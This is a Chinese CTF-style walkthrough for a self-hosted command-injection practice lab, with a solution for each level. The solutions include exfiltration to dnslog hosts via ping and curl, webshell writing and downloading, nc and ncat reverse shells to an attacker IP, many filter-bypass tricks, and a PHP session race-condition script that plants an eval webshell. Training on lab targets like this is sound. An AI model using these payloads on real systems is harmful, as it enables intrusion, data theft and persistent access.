目录

rce-labs writeup

# 部署

# 安装docker、docker compose

推荐使用项目 https://github.com/SuperManito/LinuxMirrors

使用 root 权限执行以下命令安装 Docker 和 Docker Compose:

GNU/Linux 更换系统软件源

bash <(curl -sSL https://linuxmirrors.cn/main.sh)
1

Docker 安装与换源

bash <(curl -sSL https://linuxmirrors.cn/docker.sh)
1

Docker 更换镜像加速器

bash <(curl -sSL https://linuxmirrors.cn/docker.sh) --only-registry
1

# docker compose(推荐)

git clone https://hk.gh-proxy.org/https://github.com/Apursuit/rce-labs.git
cd rce-labs/docker
docker-compose up -d
1
2
3

访问 http://ip:8080/

# docker

docker run -d -p 8080:80 --name rce-lab-latest the0n3/rce-labs:latest
1

访问 http://ip:8080/

# 写在前面

前面关卡,大多是讲解文件读取命令,让一些新人在面对基础的waf时,能够多一个文件读取的思路,后面关卡会逐渐增加一些绕过的难度,建议大家在做题的时候,先自己想一想,如果实在想不出来,可以参考一下 writeup,或者直接看 writeup 来学习一些新的思路和方法。

# 题解

# less-1

cat 读取文件内容

cat /flag
1

# less-2

tac 反向读取文件内容

tac /flag
1

# less-3

head 读取文件前 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数

head -n 20 /flag
1

# less-4

tail 读取文件后 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数

tail -n 20 /flag
1

# less-5

more 读取文件内容,没有固定的默认行数,它的行为取决于终端窗口的大小,默认填满屏幕

more /flag
1

# less-6

less 读取文件内容,默认填满屏幕

less /flag
1

# less-7

nl 读取文件内容,默认显示行号

nl /flag
1

# less-8

sort 读取文件内容,默认按照字典序排序

sort /flag
1

# less-9

uniq 读取文件内容,默认去重相邻的重复行

uniq /flag
1

# less-10

dd 读取文件内容,默认删除文件内容

dd if=/flag of=/dev/stdout
1

# less-11

rev 反转文件内容,再次反转可以得到原内容

rev /flag | rev
1

# less-12

od 以八进制、十六进制、十进制等格式输出文件内容,默认以八进制输出

od -A none -t x1 /flag
1

# less-13

xxd 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出

xxd -p /flag
1

# less-14

hexdumps 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出

hexdump -C /flag
1

# less-15

base32 以 base32 编码输出文件内容,默认以 base32 编码输出

base32 /flag
1

# less-16

base64 以 base64 编码输出文件内容,默认以 base64 编码输出

base64 /flag | base64 -d
1

# less-17

strings 以字符串形式输出文件内容,默认以字符串形式输出

strings /flag
1

# less-18

grep 以正则表达式匹配文件内容,默认以正则表达式匹配文件内容,使用 . 匹配所有内容

grep . /flag
1

# less-19

file 判断文件类型,默认判断文件类型,可以指定文件,判断文件列表里的文件类型,如果文件里的文件名不存在,会报错,从而读取文件内容

file -f /flag
1

# less-20

date 以日期格式输出文件内容,默认以日期格式输出,可以指定输入文件,读取文件内容并以日期格式输出

echo $(date -f /flag 2>&1)
1

# less-21

diff 以比较文件内容的方式输出文件内容,默认比较两个文件的内容

diff /flag /etc/passwd
1

# less-22

find 以查找文件的方式输出文件内容,默认查找当前目录下的文件,这关找到题目指引的 findme.txt即可

find / -name findme.txt 2>/dev/null
1

# less-23

cp 复制文件,可以利用 linux 的符号链接机制,复制文件到 /dev/stdout 来输出文件内容

cp /flag /dev/stdout
1

或者把 /flag 复制到 web目录读取

cp /flag /var/www/html/flag.txt
1

# less-24

mv 移动或重命名文件,把 /flag 移动到 web目录读取

mv /flag /var/www/html/flag.txt
1

# less-25

ping 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网

推荐一个 dnslog 平台 https://eyes.sh/dns/

使用浏览器搜索 dnslog,找到一个可用的dnslog 平台,获取一个域名,然后把命令执行结果拼接到这个域名上,发送网络请求

如果你找不到读取命令了,你可以尝试执行这个flag文件,大概率可能会报错,把报错信息拼接到域名上发送网络请求,读取到文件内容,注意payload要进行url编码

ping `php /flag 2>&1`.xxx.eyes.sh
1

# less-26

curl 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网

curl http://xru706nu.eyes.sh -d "data=$(php /flag 2>&1)"
1

可以在这个dnslog 平台看到请求

REQUEST_METHOD: POST
HTTP_HOST: xxxx.eyes.sh
HTTP_X_REAL_IP: x.x.x.x
HTTP_X_FORWARDED_FOR: x.x.x.x
HTTP_X_FORWARDED_PROTO: http
HTTP_CONNECTION: close
CONTENT_LENGTH: 9
HTTP_USER_AGENT: curl/8.17.0
HTTP_ACCEPT: */*
CONTENT_TYPE: application/x-www-form-urlencoded

data=1111
1
2
3
4
5
6
7
8
9
10
11
12

# less-27

echo 输出内容重定向到文件,可以达到写入webshell的目的

echo "<?=phpinfo();?>" > shell.php
echo '<?=system($_GET["cmd"]);?>' > shell.php
1
2

# less-28

wget 命令可以下载文件,利用这个特性可以把远程的 webshell 下载到本地,达到写入 webshell 的目的

wget https://the0n3.top/shell/1.txt -O shell.php
1

# less-29

nc 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网,与远程主机建立连接,反弹shell是最常见的用法

靶机,其中 x.x.x.x 是攻击机的ip,靶机是 alpine,自带的 nc 命令不支持反弹shell,可以使用 busybox 的 nc 命令,busybox 是 alpine 的基础镜像,自带的,同时靶机安装了bash

busybox nc x.x.x.x 4444 -e bash
1

攻击机

nc -lvnp 4444
1

# less-30

ncat 反弹shell,ncat 是 nmap 的一个组件,功能类似于 nc,但支持更多的功能和协议,ncat 支持反弹shell,可以使用 ncat 的 -e 参数指定要执行的命令

但是这关过滤了 nc 关键词,ncat 存在误伤,所以题目要求先往后做,学习绕过后在回来,这里使用简单的绕过演示

靶机

n''c''at x.x.x.x 4444 -e /bin/bash
1

攻击机

nc -lvnp 4444
1

# less-31

sed 命令可以对文本进行处理,可以编辑替换文件内容

不进行替换,直接把文件内容输出到标准输出

sed '' /flag
1

在开头插入内容

  • -i 在开头插入内容
  • -ni 在第n行前插入内容
sed -i '2i phpinfo();' index.php
1

在结尾插入内容

  • $ 最后一行
  • a 追加内容
sed -i '$a phpinfo();' index.php
1

# less-32

使用通配符 ? 匹配单个字符

/bin/ca? /flag
1

# less-33

使用通配符 * 匹配任意数量的字符

/bin/m*re /flag
1

# less-34

使用通配符 [ ] 匹配指定范围内的字符

/bin/[c][a][t] /flag
1

# less-34a

通过shell变量拼接,绕过过滤

a=ca;b=t;c=$a$b;$c /flag
1

# less-35

linux 使用 ; 分隔多个命令,可以在一行执行多个命令

;cat /flag
1

# less-36

linux 使用 && 分隔多个命令,前一个命令执行成功后才会执行后一个命令,注意在get请求时,& 是特殊字符,需要进行 url 编码,编码后是 %26

&& cat /flag
1

# less-37

linux 使用 || 分隔多个命令,前一个命令执行失败后才会执行后一个命令,前面是ls命令,后面拼接一个不存在的目录即可

111|| cat /flag
1

# less-38

linux 可以有命令替换语法,使用反引号 ` 或者 $() 来执行命令,并把输出结果替换到命令行中,这个过程发生在变量展开之前,所以可以利用这个特性来绕过一些过滤,执行命令

`cat /flag` 2>/dev/stdout
1

# less-38a

同上,使用 $() 来执行命令,并把输出结果替换到命令行中

$(cat /flag) 2>/dev/stdout
1

# less-39

绕过注释,linux 的注释符号是 #,在命令行中,# 后面的内容会被当做注释忽略掉,可以换行执行绕过注释的效果,url传入url编码的%0a换行符

%0acat /flag
1

# less-40

绕过空格,使用tab键或者其他空白字符来替代空格,url传入url编码的%09制表符

cat%09/flag
1

# less-41

绕过空格,使用 $IFS 来替代空格,IFS 是 linux 的内部字段分隔符,默认是空格、制表符和换行符

cat$IFS/flag
1

# less-42

绕过空格,使用 ${IFS} 来替代空格,${} 是 linux 的参数扩展语法,可以用来获取变量的值,或者在变量名中使用特殊字符

cat${IFS}/flag
1

# less-43

绕过空格,使用 bash 的 {cmd,parm}语法执行命令

{cat,/flag}
1

# less-44

绕过黑名单关键词,使用单引号 ' 来绕过过滤,在命令里面使用单引号把关键词分隔开来,在变量展开前单引号会被当做普通字符,命令执行时会被去掉

ca''t /flag
1

# less-45

双引号同样可以

ca""t /flag
1

# less-46

绕过黑名单关键词,使用 ? 来绕过过滤,? 是 linux 的通配符,匹配任意单个字符,可以用来替代关键词中的某个字符

/bin/ca?</flag
1

# less-47

绕过黑名单关键词,使用 * 来绕过过滤,* 是 linux 的通配符,匹配任意数量的字符,可以用来替代关键词中的多个字符

/bin/m*re</flag
1

# less-48

绕过黑名单关键词,使用 \ 来绕过过滤,\ 是 linux 的转义字符,在变量展开前,\ 后面的字符会被当做普通字符,可以用来分隔关键词中的字符

/bin/ca\t</flag
1

# less-49

绕过黑名单关键词,使用 $@ 来绕过过滤,$@ 是 linux 的特殊变量,表示所有位置参数的列表,在变量展开时,$@ 会被替换成所有位置参数的值,可以用来替代关键词中的多个字符

ca$@t</flag
1

# less-50

需要利用php的session临时文件,具体参考 https://github.com/Apursuit/rce-labs/issues/3

import io
import requests
import threading

url = 'http://192.168.6.100:32769/less-50/'
sessionid = 'aaa'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"""

                # php 执行内容
                # <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-50/shell.php");?>

                # sh 执行内容
                echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-50/shell.php

                """},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        # 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
        session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(10):
    threading.Thread(target = write,args = (session,)).start()
for i in range(10):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

# less-52

上题脚本稍加修改

import io
import requests
import threading

url = 'http://192.168.6.100:32769/less-52/'
sessionid = 'aaa'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"""

                # php 执行内容
                # <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-52/shell.php");?>

                # sh 执行内容
                echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-52/shell.php

                """},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        # 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
        session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(10):
    threading.Thread(target = write,args = (session,)).start()
for i in range(10):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
最后一次更新于: 2026/03/05, 13:26:38